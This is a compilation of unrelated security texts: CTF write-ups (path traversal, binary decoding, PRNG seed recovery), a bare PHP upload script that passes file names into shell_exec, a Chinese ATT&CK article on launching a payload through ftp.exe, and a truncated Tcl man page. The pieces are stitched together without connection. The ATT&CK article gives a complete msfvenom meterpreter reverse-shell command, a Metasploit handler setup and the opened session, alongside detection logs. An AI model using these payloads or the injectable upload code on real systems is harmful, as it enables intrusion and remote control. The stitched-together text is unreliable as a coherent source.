▒░▒░▒░ ▒▒ ░ ░▓ ░ ░ ░░▒░ ░ ░ ░ ░░ ░ ▒░▒░▒ ░ ░ ▒ ▒░ ░░ ░▒ ░ ░ ░ ░░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ▓█████ ▄▄▄ ██████ ▓██ ██▓▓█████ ███▄ █ █ ██ ███▄ ▄███▓ ▓█ ▀ ▒████▄ ▒██ ▒ ▒██ ██▒▓█ ▀ ██ ▀█ █ ██ ▓██▒▓██▒▀█▀ ██▒ ▒███ ▒██ ▀█▄ ░ ▓██▄ ▒██ ██░▒███ ▓██ ▀█ ██▒▓██ ▒██░▓██ ▓██░ ▒▓█ ▄ ░██▄▄▄▄██ ▒ ██▒ ░ ▐██▓░▒▓█ ▄ ▓██▒ ▐▌██▒▓▓█ ░██░▒██ ▒██ ░▒████▒ ▓█ ▓██▒▒██████▒▒ ░ ██▒▓░░▒████▒▒██░ ▓██░▒▒█████▓ ▒██▒ ░██▒ ░░ ▒░ ░ ▒▒ ▓▒█░▒ ▒▓▒ ▒ ░ ██▒▒▒ ░░ ▒░ ░░ ▒░ ▒ ▒ ░▒▓▒ ▒ ▒ ░ ▒░ ░ ░ ░ ░ ░ ▒ ▒▒ ░░ ░▒ ░ ░ ▓██ ░▒░ ░ ░ ░░ ░░ ░ ▒░░░▒░ ░ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ▒ ░░ ░ ░ ░ ░ ░░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ...solved ! Please, tweet this screenshot to @0815R2d2. Many thanks in advance. root@funbox7:~# ```
sec-knowleage
## Rotten Uploader (Web, 150p) ###ENG [PL](#pl-version) In the task we get access to file uploader service. Uploading is disabled and we can only download files already there. There is a simple Path-Traversal in the GET parameter so we can actually download all the files, including index.php and download.php by using `../index.php`. Index reveals that there is `file_list.php` file, and download.php blacklists is: ```php <?php header("Content-Type: application/octet-stream"); if(stripos($_GET['f'], 'file_list') !== FALSE) die(); readfile('uploads/' . $_GET['f']); // safe_dir is enabled. ?> ``` So it seems there might be something interesting there! We need to somehow provide the file name in a way that it does not contain `file_list` but can be read by readfile. We checked the server headers and surprisingly there was no indication that it's a unix machine. And on windows there is the old backward compatilibity for file names longer than 8 characters, so we try to use filename `file_l~1` and it works fine. ```php <?php $files = [ [FALSE, 1, 'test.cpp', 1135, 'test.cpp'], [FALSE, 2, 'test.c', 74, 'test.c'], [TRUE, 3, 'flag_c82e41f5bb7c8d4b947c9586444578ade88fe0d7', 35, 'flag_c82e41f5bb7c8d4b947c9586444578ade88fe0d7'], [FALSE, 4, 'test.rb', 1446, 'test.rb'], ]; ``` From here we get the name of the file with the flag and from there the flag itself. ###PL version W zadaniu dostajemy link do uploadera plików. Uploadowanie nie działa ale możemy ściągnąć pliki które już tam są. Jest tam prosty błąd Path-Traversal wiec możemy pobrać wszytkie pliki, wliczając w to index.php i download.php poprzez `../index.php`. Index informuje nas że jest tam plik `file_list.php` z listą wszytkich plików, ale download.php nie pozwala go ściągnąć: ```php <?php header("Content-Type: application/octet-stream"); if(stripos($_GET['f'], 'file_list') !== FALSE) die(); readfile('uploads/' . $_GET['f']); // safe_dir is enabled. ?> ``` Wygląda na to że może tam być coś ciekawego! Musimy jakoś dostarczyć ścieżkę do pliku tak żeby nie zawierała `file_list` ale jednocześnie żeby readfile mógł plik odczytać. Sprawdzilismy nagłówki wysyłane przez stronę i ku naszemu zdumieniu nic nie wskazywało na maszynę unixową. A dla windowsa istnieje wsteczna kompatybilność dla nazw plików dłuższych niż 8 znaków, więc spróbowaliśmy użyć nazwy `file_l~1` i zadziałała dając: ```php <?php $files = [ [FALSE, 1, 'test.cpp', 1135, 'test.cpp'], [FALSE, 2, 'test.c', 74, 'test.c'], [TRUE, 3, 'flag_c82e41f5bb7c8d4b947c9586444578ade88fe0d7', 35, 'flag_c82e41f5bb7c8d4b947c9586444578ade88fe0d7'], [FALSE, 4, 'test.rb', 1446, 'test.rb'], ]; ``` Stąd poznaliśmy nazwę pliku z flagę a w nim już samą flagę.
sec-knowleage
## ones_and_zer0es (crypto, 50p, 987 solves) > [eps1.1_ones-and-zer0es_c4368e65e1883044f3917485ec928173.mpeg](ones-and-zer0es.bin) ### PL Version `for ENG version scroll down` Pobieramy wskazany plik. Jego zawartość to: 01100110011011000110000101110100011110110101000001100101011011110111000001101100011001010010000001100001011011000111011101100001 01111001011100110010000001101101011000010110101101100101001000000111010001101000011001010010000001100010011001010111001101110100 00100000011001010111100001110000011011000110111101101001011101000111001100101110011111010010000001001001001001110111011001100101 00100000011011100110010101110110011001010111001000100000011001100110111101110101011011100110010000100000011010010111010000100000 01101000011000010111001001100100001000000111010001101111001000000110100001100001011000110110101100100000011011010110111101110011 01110100001000000111000001100101011011110111000001101100011001010010111000100000010010010110011000100000011110010110111101110101 00100000011011000110100101110011011101000110010101101110001000000111010001101111001000000111010001101000011001010110110100101100 00100000011101110110000101110100011000110110100000100000011101000110100001100101011011010010110000100000011101000110100001100101 01101001011100100010000001110110011101010110110001101110011001010111001001100001011000100110100101101100011010010111010001101001 01100101011100110010000001100001011100100110010100100000011011000110100101101011011001010010000001100001001000000110111001100101 01101111011011100010000001110011011010010110011101101110001000000111001101100011011100100110010101110111011001010110010000100000 01101001011011100111010001101111001000000111010001101000011001010110100101110010001000000110100001100101011000010110010001110011 00101110 Robimy pierwszą oczywistą rzecz i dekodujemy te bity jako tekst: flat{People always make the best exploits.} I've never found it hard to hack most people. If you listen to them, watch them, th2(...) Mamy flagę i 50 punktów ### ENG Version We download provided file. Its contents: 01100110011011000110000101110100011110110101000001100101011011110111000001101100011001010010000001100001011011000111011101100001 01111001011100110010000001101101011000010110101101100101001000000111010001101000011001010010000001100010011001010111001101110100 00100000011001010111100001110000011011000110111101101001011101000111001100101110011111010010000001001001001001110111011001100101 00100000011011100110010101110110011001010111001000100000011001100110111101110101011011100110010000100000011010010111010000100000 01101000011000010111001001100100001000000111010001101111001000000110100001100001011000110110101100100000011011010110111101110011 01110100001000000111000001100101011011110111000001101100011001010010111000100000010010010110011000100000011110010110111101110101 00100000011011000110100101110011011101000110010101101110001000000111010001101111001000000111010001101000011001010110110100101100 00100000011101110110000101110100011000110110100000100000011101000110100001100101011011010010110000100000011101000110100001100101 01101001011100100010000001110110011101010110110001101110011001010111001001100001011000100110100101101100011010010111010001101001 01100101011100110010000001100001011100100110010100100000011011000110100101101011011001010010000001100001001000000110111001100101 01101111011011100010000001110011011010010110011101101110001000000111001101100011011100100110010101110111011001010110010000100000 01101001011011100111010001101111001000000111010001101000011001010110100101110010001000000110100001100101011000010110010001110011 00101110 We start with an obvious approach and we decode given bits as ascii text: flat{People always make the best exploits.} I've never found it hard to hack most people. If you listen to them, watch them, th2(...) We have the flag and 50 points.
sec-knowleage
<?php if (!empty($_FILES)): $ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION); if (!in_array($ext, ['gif', 'png', 'jpg', 'jpeg'])) { die('Unsupported filetype uploaded.'); } $size = shell_exec("identify -format '%w x %h' {$_FILES['file_upload']['tmp_name']}"); echo "Image size is: $size"; else: ?> <form method="post" enctype="multipart/form-data"> File: <input type="file" name="file_upload"> <input type="submit"> </form> <?php endif;
sec-knowleage
# scrambled-bytes Forensics, 200 points ## Description > I sent my secret flag over the wires, but the bytes got all mixed up! A network capture and the following script were attached: ```python #!/usr/bin/env python3 import argparse from progress.bar import IncrementalBar from scapy.all import * import ipaddress import random from time import time def check_ip(ip): try: return ipaddress.ip_address(ip) except: raise argparse.ArgumentTypeError(f'{ip} is an invalid address') def check_port(port): try: port = int(port) if port < 1 or port > 65535: raise ValueError return port except: raise argparse.ArgumentTypeError(f'{port} is an invalid port') def main(args): with open(args.input, 'rb') as f: payload = bytearray(f.read()) random.seed(int(time())) random.shuffle(payload) with IncrementalBar('Sending', max=len(payload)) as bar: for b in payload: send( IP(dst=str(args.destination)) / UDP(sport=random.randrange(65536), dport=args.port) / Raw(load=bytes([b^random.randrange(256)])), verbose=False) bar.next() if __name__=='__main__': parser = argparse.ArgumentParser() parser.add_argument('destination', help='destination IP address', type=check_ip) parser.add_argument('port', help='destination port number', type=check_port) parser.add_argument('input', help='input file') main(parser.parse_args()) ``` ## Solution From the script we see that some payload is read from a file, randomly shuffled, and then XORed with a random value and sent with a random source port to some known destination. We obviously need to recover the payload using the network capture. Let's take a look at the packets in the network capture. We can search for UDP packets with a data length of `1`: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/scrambled-bytes] └─$ tshark -r ./capture.pcapng -Y "udp && data.len==1" | tail 10926 83.266506563 172.17.0.2 → 172.17.0.3 UDP 43 17207 → 56742 Len=1 10927 83.314105386 172.17.0.2 → 172.17.0.3 UDP 43 51423 → 56742 Len=1 10928 83.362080970 172.17.0.2 → 172.17.0.3 UDP 43 7689 → 56742 Len=1 10929 83.398016166 172.17.0.2 → 172.17.0.3 UDP 43 10149 → 56742 Len=1 10930 83.434074029 172.17.0.2 → 172.17.0.3 UDP 43 43851 → 56742 Len=1 10931 83.470284116 172.17.0.2 → 172.17.0.3 UDP 43 26482 → 56742 Len=1 10932 83.510271119 172.17.0.2 → 172.17.0.3 UDP 43 32839 → 56742 Len=1 10933 83.542154486 172.17.0.2 → 172.17.0.3 UDP 43 27300 → 56742 Len=1 10934 83.542199430 172.17.0.3 → 172.17.0.2 ICMP 71 Destination unreachable (Port unreachable) 10935 83.574211122 172.17.0.2 → 172.17.0.3 UDP 43 15891 → 56742 Len=1 ``` This is just a subset of the results, but according to what we see we can be fairly sure that the packets we are looking for are sent from (172.17.0.2, random port) to (172.17.0.3, 56742). We can therefore start programmatically parsing the capture. ```python from scapy.all import * from collections import namedtuple packets = rdpcap('capture.pcapng') Packet = namedtuple("Packet", "src_port payload") payload_packets = [] for packet in packets: if not packet.haslayer(IP): continue if not packet.haslayer(UDP): continue if not packet[IP].src == "172.17.0.2": continue if not packet[IP].dst == "172.17.0.3": continue if not packet[UDP].dport == 56742: continue if not len(packet[UDP].payload) == 1: continue payload_packets.append(Packet(packet[UDP].sport, bytes(packet[UDP].payload))) print(len(payload_packets)) ``` Running it, we get: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/scrambled-bytes] └─$ python3 solve.py 1992 ``` But what do we do now? We don't know what the payload was XORed with, so how can we recover the original data? Fortunately, the script uses Python's pseudo-random number generator, which is predictable if we manage to call `random.seed` with the same seed provided during the original run. And since we see in our script that `random.seed` was called with `int(time())`, we just need to figure out what the time was when the script was executed. Now, `172.16.0.0/12` (i.e. `172.16.0.0` – `172.31.255.255`) IP addresses are reserved for private IP usage, so we can hope that all the network traffic is captured within a local network, and perhaps we can find some metadata about the capture time to infer the estimated time the script was run. The first packet sent is: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/scrambled-bytes] └─$ tshark -r ./capture.pcapng -Y "udp && data.len==1" | head -n 1 1921 3.514431477 172.17.0.2 → 172.17.0.3 UDP 43 45829 → 56742 Len=1 ``` Let's get everything we can about this packet: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/scrambled-bytes] └─$ tshark -r ./capture.pcapng -Y "frame.number == 1921" -V -t e Frame 1921: 43 bytes on wire (344 bits), 43 bytes captured (344 bits) on interface docker0, id 0 Interface id: 0 (docker0) Interface name: docker0 Encapsulation type: Ethernet (1) Arrival Time: Feb 23, 2021 03:44:10.913789387 IST [Time shift for this packet: 0.000000000 seconds] Epoch Time: 1614044650.913789387 seconds [Time delta from previous captured frame: 0.015624605 seconds] [Time delta from previous displayed frame: 0.000000000 seconds] [Time since reference or first frame: 3.514431477 seconds] Frame Number: 1921 Frame Length: 43 bytes (344 bits) Capture Length: 43 bytes (344 bits) [Frame is marked: False] [Frame is ignored: False] [Protocols in frame: eth:ethertype:ip:udp:data] Ethernet II, Src: 02:42:ac:11:00:02 (02:42:ac:11:00:02), Dst: 02:42:ac:11:00:03 (02:42:ac:11:00:03) Destination: 02:42:ac:11:00:03 (02:42:ac:11:00:03) Address: 02:42:ac:11:00:03 (02:42:ac:11:00:03) .... ..1. .... .... .... .... = LG bit: Locally administered address (this is NOT the factory default) .... ...0 .... .... .... .... = IG bit: Individual address (unicast) Source: 02:42:ac:11:00:02 (02:42:ac:11:00:02) Address: 02:42:ac:11:00:02 (02:42:ac:11:00:02) .... ..1. .... .... .... .... = LG bit: Locally administered address (this is NOT the factory default) .... ...0 .... .... .... .... = IG bit: Individual address (unicast) Type: IPv4 (0x0800) Internet Protocol Version 4, Src: 172.17.0.2, Dst: 172.17.0.3 0100 .... = Version: 4 .... 0101 = Header Length: 20 bytes (5) Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT) 0000 00.. = Differentiated Services Codepoint: Default (0) .... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0) Total Length: 29 Identification: 0x0001 (1) Flags: 0x00 0... .... = Reserved bit: Not set .0.. .... = Don't fragment: Not set ..0. .... = More fragments: Not set Fragment Offset: 0 Time to Live: 64 Protocol: UDP (17) Header Checksum: 0x22a8 [validation disabled] [Header checksum status: Unverified] Source Address: 172.17.0.2 Destination Address: 172.17.0.3 User Datagram Protocol, Src Port: 45829, Dst Port: 56742 Source Port: 45829 Destination Port: 56742 Length: 9 Checksum: 0xdc07 [unverified] [Checksum Status: Unverified] [Stream index: 3] [Timestamps] [Time since first frame: 0.000000000 seconds] [Time since previous frame: 0.000000000 seconds] UDP payload (1 byte) Data (1 byte) 0000 3b ; Data: 3b [Length: 1] ``` We can see when it was captured: ``` Arrival Time: Feb 23, 2021 03:44:10.913789387 IST [Time shift for this packet: 0.000000000 seconds] Epoch Time: 1614044650.913789387 seconds ``` So to check our theory, we can initialize `random.seed` to `1614044650` and see if we are able to arrive to the same source port as seen in the packet: `45829`. If we summarize the random-related logic from the script, we get: ```python import random random.seed(int(time())) random.shuffle(payload) sport=random.randrange(65536) load=bytes([b^random.randrange(256)]) ``` So in our experiment, we will try to follow these steps and see what we get: ```python >>> import random >>> random.seed(1614044650) >>> random.shuffle([None]*1992) >>> sport=random.randrange(65536) >>> sport 45829 ``` We got `45829` as expected. Looks like we're on the right track. Now it's just a matter of reversing the send operation: ```python random.seed(1614044650) locations = list(range(len(payload_packets))) random.shuffle(locations) output = [None] * len(payload_packets) for i, packet in enumerate(payload_packets): srcport = random.randrange(65536) if(srcport != packet.src_port): raise RuntimeError(f"Iteration #{i}: srcport ({srcport}) != port ({packet.src_port})") output[locations[i]] = ord(packet.payload) ^ random.randrange(256) with open("output.bin", "wb") as o: for b in output: o.write(bytes([b])) ``` We start by initializing the random seed to the epoch time we found. We then create a list for tracking purposes: We initialize it with `[0, 1, 2, ... len(payload_packets)]` and shuffle it in the exact same manner that the payload was originally shuffled. This way, we can know where each payload byte ended up at. It's also important to perform the shuffle at this exact location in the flow to bring the `random` state to the same state it was in the original script, before we start reading values for the source port and XOR operation. Now we iterate the packets we've extracted. We verify that the random number we read from `random` is equal to the source port of the packet as sanity, and then move on by XORing the payload byte with the next random value. We place the result at the correct location based on our `location` list. Finally, we get: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/scrambled-bytes] └─$ python3 solve.py ┌──(user@kali)-[/media/sf_CTFs/pico/scrambled-bytes] └─$ file output.bin output.bin: PNG image data, 426 x 240, 1-bit grayscale, non-interlaced ``` The PNG image contained the flag: `picoCTF{n0_t1m3_t0_w4st3_5hufflin9_ar0und}`
sec-knowleage
# T1059-win-基于白名单Ftp.exe执行Payload ## 来自ATT&CK的描述 命令行界面是与计算机系统交互的一种方式,并且是很多操作系统平台的常见特性。例如,Windows系统上的命令行界面cmd可用于执行许多任务,包括执行其他软件。命令行界面可在本地交互或者通过远程桌面应用、反向shell会话等远程交互。执行的命令以命令行界面进程的当前权限级别运行,除非该命令需要调用进程来更改权限上下文(例如,定时任务)。 攻击者可能会使用命令行界面与系统交互并在操作过程中执行其他软件。 ## 测试案例 Ftp.exe是Windows本身自带的一个程序,属于微软FTP工具,提供基本的FTP访问。 说明:Ftp.exe所在路径已被系统添加PATH环境变量中,因此,Ftp.exe命令可识别。 补充说明:在高版本操作系统中,可以通过配置策略,对进程命令行参数进行记录。日志策略开启方法:`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用`,同样也可以在不同版本操作系统中部署sysmon,通过sysmon日志进行监控。 Windows 2003 默认位置: C:\Windows\System32\ftp.exe C:\Windows\SysWOW64\ftp.exe Windows 7 默认位置: C:\Windows\System32\ftp.exe C:\Windows\SysWOW64\ftp.exe ## 检测日志 windows 安全日志/SYSMON日志(需要自行安装) ## 测试复现 ### 环境准备 攻击机:Kali2019 靶机:windows server 2012 ### 攻击分析 #### 生成payload.exe ```bash msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=53 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe ``` #### 执行监听 攻击机,注意配置set AutoRunScript migrate f (AutoRunScript是msf中一个强大的自动化的后渗透工具,这里migrate参数是迁移木马到其他进程) ```bash msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 192.168.126.146 lhost => 192.168.126.146 msf5 exploit(multi/handler) > set lport 53 lport => 53 msf5 exploit(multi/handler) > set AutoRunScript migrate -f AutoRunScript => migrate -f msf5 exploit(multi/handler) > exploit ``` #### 执行payload ```cmd ftp>!C:\Users\12306Br0\Desktop\a\payload.exe ``` #### 反弹shell ```bash msf5 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.126.146:53 [*] Sending stage (180291 bytes) to 192.168.126.149 [*] Meterpreter session 1 opened (192.168.126.146:53 -> 192.168.126.149:49219) at 2020-04-18 20:08:18 +0800 [*] Session ID 1 (192.168.126.146:53 -> 192.168.126.149:49219) processing AutoRunScript 'migrate -f' [!] Meterpreter scripts are deprecated. Try post/windows/manage/migrate. [!] Example: run post/windows/manage/migrate OPTION=value [...] [*] Current server process: payload.exe (2324) [*] Spawning notepad.exe process to migrate to [+] Migrating to 2888 [+] Successfully migrated to process meterpreter > getuid Server username: 12306Br0-PC\12306Br0 ``` ## 测试留痕 ```log EventID:4688 #安全日志,windows server 2012以上配置审核策略,可对命令参数进行记录 进程信息: 新进程 ID: 0x474 新进程名: C:\Windows\System32\cmd.exe EventID:4688 进程信息: 新进程 ID: 0x3f8 新进程名: C:\Users\12306Br0\Desktop\a\payload.exe EventID:5156 应用程序信息: 进程 ID: 1016 应用程序名称: \device\harddiskvolume2\users\12306br0\desktop\a\payload.exe 网络信息: 方向: 出站 源地址: 192.168.126.149 源端口: 49221 目标地址: 192.168.126.146 目标端口: 53 协议: 6 EventID:1 #sysmon日志 Image: C:\Windows\System32\cmd.exe FileVersion: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Description: Windows Command Processor Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: Cmd.Exe CommandLine: C:\Windows\system32\cmd.exe /C C:\Users\12306Br0\Desktop\a\payload.exe CurrentDirectory: C:\Windows\system32\ User: 12306Br0-PC\12306Br0 LogonGuid: {bb1f7c32-e7a1-5e9a-0000-0020ac500500} LogonId: 0x550ac TerminalSessionId: 1 IntegrityLevel: High Hashes: SHA1=0F3C4FF28F354AEDE202D54E9D1C5529A3BF87D8 ParentProcessGuid: {bb1f7c32-ed99-5e9a-0000-00105addaf00} ParentProcessId: 1112 ParentImage: C:\Windows\System32\ftp.exe ParentCommandLine: ftp ``` ## 检测规则/思路 无具体检测规则,可根据进程创建事件4688/1(进程名称、命令行)进行监控。本监控方法需要自行安装配置审核策略Sysmon。 ## 参考推荐 MITRE-ATT&CK-T1059 <https://attack.mitre.org/techniques/T1059/> 基于白名单Ftp.exe执行Payload <https://www.77169.net/html/235306.html> 基于白名单的Payload s<https://blog.csdn.net/weixin_30790841/article/details/101848854>
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: open.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: open.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH open 3tcl 7.6 Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME open \- 打开基于文件或命令管道的一个通道 .SH "总览 SYNOPSIS" .sp \fBopen \fIfileName\fR .br \fBopen \fIfileName access\fR .br \fBopen \fIfileName access permissions\fR .BE .SH "描述 DESCRIPTION" .PP .VS 这个命令打开一个文件、串行端口、或命令管道并返回一个 .VE 通道标识符用于将来被命令如 \fBread\fR、\fBputs\fR、和\fBclose \fR调用。如果 \fIfileName\fR 的第一个字符不是“|”则命令打开一个文件: \fIfileName\fR 给出要打开的文件的名字,并且它必须符合在 \fBfilename\fR 手册条目中描述的规范。 .PP 如果存在 \fIaccess\fR 参数,则它指示以何种方式访问文件(或命令管道)。在第一种形式下 \fIaccess\fR 可以是下列值: .TP 15 \fBr\fR 为只读而打开文件;文件必须已经存在。如果未指定 \fIaccess\fR 则这个值是缺省值。 .TP 15 \fBr+\fR 为读写而打开文件;文件必须已经存在。 .TP 15 \fBw\fR 为只写而打开文件。如果文件已经存在则截断(truncate)它,如果文件不存在则建立一个新文件。 .TP 15 \fBw+\fR 为读写而打开文件。如果文件已经存在则截断(truncate)它,如果文件不存在则建立一个新文件。 .TP 15 \fBa\fR 为只读而打开文件。如果文件不存在,则建立一个新的空文件。设置初始访问位置为文件的结束处。 .TP 15 \fBa+\fR 为读写而打开文件。如果文件不存在,则建立一个新的空文件。设置初始访问位置为文件的结束处。 .PP 在第二种形式下,\fIaccess\fR 由某些下列标志的一个列表构成,所有这些都有标准的 POSIX 意义。 必须有一个标志是 \fBRDONLY\fR、\fBWRONLY\fR 或 \fBRDWR\fR 中的一个。 .TP 15 \fBRDONLY\fR 为只读而打开文件。 .TP 15 \fBWRONLY\fR 为只写而打开文件。 .TP 15 \fBRDWR\fR 为读写而打开文件。 .TP 15 \fBAPPEND\fR 在每次写之前把指针设置到文件的结束处。 .TP 15 \fBCREAT\fR 如果文件不存在则建立这个文件(如果没有这个标志,在文件不存在时返回一个错误)。 .TP 15 \fBEXCL\fR 如果还指定了 \fBCREAT\fR,如果文件已经存在则返回一个错误。 .TP 15 \fBNOCTTY\fR 如果文件是一个终端设备,这个标志防止这个文件成为这个进程的控制终端。 .TP 15 \fBNONBLOCK\fR 在打开文件和可能的后续 I/O 操作期间防止过程阻塞。这个标志的真实行为是依赖于系统的和依赖于设备的;不鼓励使用它(更好是使用 \fBfconfigure\fR 命令来使一个文件进入非阻塞模式)。详情参见你的系统文档中的 \fBopen\fR 系统调用的 \fBO_NONBLOCK\fR 标志。 .TP 15 \fBTRUNC\fR 如果文件存在则截断其为零长度。 .PP 如果作为打开过程的一部分而建立了一个新文件,使用 \fIpermissions\fR (一个整数)并联合进程的文件模式建立掩码为新文件设置权限。\fIPermissions\fR 缺省为 0666。 .PP '\" Not versioned as advice applies to all recent versions of Tcl. '\" Prior to that, Tcl didn't really support binary files anyway... .VS Note that if you are going to be reading or writing binary data from the channel created by this command, you should use the \fBfconfigure\fR command to change the \fB-translation\fR option of the channel to \fBbinary\fR before transferring any binary data. This is in contrast to the ``b'' character passed as part of the equivalent of the \fIaccess\fR parameter to some versions of the C library \fIfopen()\fR function. .VE .SH "命令管道 COMMAND PIPELINES" .PP 如果 \fIfileName\fR is 的第一个字符是“|”,则把 \fIfileName\fR 的余下的字符被作为描述要调用的一个命令管道的参数的一个列表来对待,与 \fBexec \fR对待参数的方式相同。在这种情况下,依赖于 access 的值,使用由 \fBopen\fR 返回的通道标识符来向这个命令的输入管道写或从它的输出管道读。如果使用了只写访问(例如, \fIaccess\fR 是 \fBw\fR),则除非被这个命令所屏弃(override),这个(命令)管道的标准输出被定向到当前的标准输出上。如果使用了只读访问(例如,\fIaccess\fR 是 \fBr\fR),则除非被这个命令所屏弃(override),这个(命令)管道的标准输入接受当前的标准输入。 .PP 译注 .CS 打开用来写的命令管道 Tcl ==> Pipeline 